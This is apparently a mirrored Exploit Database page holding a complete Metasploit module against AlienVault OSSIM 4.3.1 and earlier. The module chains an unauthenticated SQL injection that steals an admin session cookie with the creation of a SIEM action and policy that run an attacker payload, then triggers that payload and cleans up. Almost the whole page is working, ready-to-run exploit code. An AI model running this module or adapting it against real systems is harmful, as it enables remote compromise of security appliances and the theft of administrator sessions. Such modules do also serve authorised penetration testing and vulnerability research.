Alienvault Open Source SIEM (OSSIM) – SQL Injection / Remote Code Execution (Metasploit)

• Exploit Database
• 86 阅读

• 作者： Metasploit
  日期： 2014-05-02
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33141/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",
  'Description'=> %q{
  This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
  OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
  active admin session ID.If an administrator level user is identified, remote code execution
  can be gained by creating a high priority policy with an action containing our payload.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Sasha Zivojinovic', # SQLi discovery
  'xistence <xistence[at]0x90.nl>' # Metasploit module
  ],
  'References' =>
  [
  ['OSVDB', '106252'],
  ['EDB', '33006']
  ],
  'DefaultOptions'=>
  {
  'SSL'=> true,
  'WfsDelay' => 10
  },
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Compat'=>
  {
  'RequiredCmd' => 'generic perl python',
  }
  },
  'Targets'=>
  [
  ['Alienvault OSSIM 4.3', {}]
  ],
  'Privileged' => true,
  'DisclosureDate' => "Apr 24 2014",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(443),
  OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
  ], self.class)
  end
  
  
  def check
  marker = rand_text_alpha(6)
  sqli_rand = rand_text_numeric(4+rand(4))
  sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
  sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
  'vars_get' => { 'date_from' => sqli }
  })
  
  if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
  return Exploit::CheckCode::Vulnerable
  else
  print_status("#{res.body}")
  return Exploit::CheckCode::Safe
  end
  
  end
  
  
  def exploit
  marker = rand_text_alpha(6)
  sqli_rand = rand_text_numeric(4+rand(4))
  sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
  sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
  
  print_status("#{peer} - Trying to grab admin session through SQLi")
  
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
  'vars_get' => { 'date_from' => sqli }
  })
  
  if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
  admin_session = $1
  @cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
  print_status("#{peer} - Admin session cookie is [ #{@cookie} ]")
  else
  fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
  end
  
  # Creating an Action containing our payload, which will be executed by any event (not only alarms)
  action = rand_text_alpha(8+(rand(8)))
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
  'cookie' => @cookie,
  'vars_post' => {
  'action' => 'new',
  'action_name' => action,
  'descr' => action,
  'action_type' => '2',
  'only' => 'on',
  'cond' => 'True',
  'exec_command' => payload.encoded
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Created Action [ #{action} ]")
  else
  fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
  end
  
  # Retrieving the Action ID, used to clean up the action after successful exploitation
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
  'cookie' => @cookie,
  'vars_post' => {
  'page' => '1',
  'rp' => '2000'
  }
  })
  
  if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
  @action_id = $1
  print_status("#{peer} - Action ID is [ #{@action_id} ]")
  else
  fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
  end
  
  # Retrieving the policy data, necessary for proper cleanup after succesful exploitation
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'm_opt' => 'configuration',
  'sm_opt' => 'threat_intelligence',
  'h_opt' => 'policy'
  }
  })
  
  if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
  policy_ctx = $1
  policy_group = $2
  print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
  else
  fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
  end
  
  # Creating policy which will be triggered by any source/destination
  policy = rand_text_alpha(8+(rand(8)))
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
  'cookie' => @cookie,
  'vars_post' => {
  'descr' => policy,
  'active' => '1',
  'group' => policy_group,
  'ctx' => policy_ctx,
  'order' => '1', # Makes this the first policy, overruling all the other policies
  'action' => 'new',
  'sources[]' => '00000000000000000000000000000000', # Source is ANY
  'dests[]' => '00000000000000000000000000000000', # Destination is ANY
  'portsrc[]' => '0', # Any source port
  'portdst[]' => '0', # Any destination port
  'plug_type' => '1', # Taxonomy
  'plugins[0]' => 'on',
  'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found
  'tax_pt' => '0',
  'tax_cat' => '0',
  'tax_subc' => '0',
  'mboxs[]' => '00000000000000000000000000000000',
  'rep_act' => '0',
  'rep_sev' => '1',
  'rep_rel' => '1',
  'rep_dir' => '0',
  'ev_sev' => '1',
  'ev_rel' => '1',
  'tzone' => 'Europe/Amsterdam',
  'date_type' => '1',
  'begin_hour' => '0',
  'begin_minute' => '0',
  'begin_day_week' => '1',
  'begin_day_month' => '1',
  'begin_month' => '1',
  'end_hour' => '23',
  'end_minute' => '59',
  'end_day_week' => '7',
  'end_day_month' => '31',
  'end_month' => '12',
  'actions[]' => @action_id,
  'sim' => '1',
  'priority' => '1',
  'qualify' => '1',
  'correlate' => '0', # Don't make any correlations
  'cross_correlate' => '0', # Don't make any correlations
  'store' => '0' # We don't want to store anything :)
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Created Policy [ #{policy} ]")
  else
  fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")
  end
  
  # Retrieve policy ID, needed for proper cleanup after succesful exploitation
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'ctx' => policy_ctx,
  'group' => policy_group
  },
  'vars_post' => {
  'page' => '1',
  'rp' => '2000'
  }
  })
  if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/
  @policy_id = $1
  print_status("#{peer} - Policy ID [ #{@policy_id} ] retrieved!")
  else
  fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")
  end
  
  # Reload the policies to make our new policy active
  print_status("#{peer} - Reloading Policies")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'what' => 'policies',
  'back' => '../policy/policy.php'
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Policies reloaded!")
  else
  fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
  end
  
  # Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
  dont_exist = rand_text_alpha(8+rand(4))
  print_status("#{peer} - Triggering policy and action by requesting a non existing url")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, dont_exist),
  'cookie' => @cookie
  })
  
  if res and res.code == 404
  print_status("#{peer} - Payload delivered")
  else
  fail_with(Failure::Unknown, "#{peer} - Payload failed!")
  end
  
  end
  
  
  def cleanup
  begin
  # Clean up, retrieve token so that the policy can be removed
  print_status("#{peer} - Cleaning up")
  res = send_request_cgi({
   'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "ossim", "session", "token.php"),
  'cookie' => @cookie,
  'vars_post' => { 'f_name' => 'delete_policy' }
  })
  
  if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
  token = $1
  print_status("#{peer} - Token [ #{token} ] retrieved")
  else
  print_warning("#{peer} - Unable to retrieve token")
  end
  
  # Remove our policy
  res = send_request_cgi({
   'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'confirm' => 'yes',
  'id' => @policy_id,
  'token' => token
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Policy ID [ #{@policy_id} ] removed")
  else
  print_warning("#{peer} - Unable to remove Policy ID")
  end
  
  # Remove our action
  res = send_request_cgi({
   'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'id' => @action_id,
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Action ID [ #{@action_id} ] removed")
  else
  print_warning("#{peer} - Unable to remove Action ID")
  end
  
  # Reload the policies to revert back to the state before exploitation
  print_status("#{peer} - Reloading Policies")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
  'cookie' => @cookie,
  'vars_get' => {
  'what' => 'policies',
  'back' => '../policy/policy.php'
  }
  })
  
  if res && res.code == 200
  print_status("#{peer} - Policies reloaded!")
  else
  fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
  end
  
  ensure
  super # mixins should be able to cleanup even in case of Exception
  end
  end
  
  end
  

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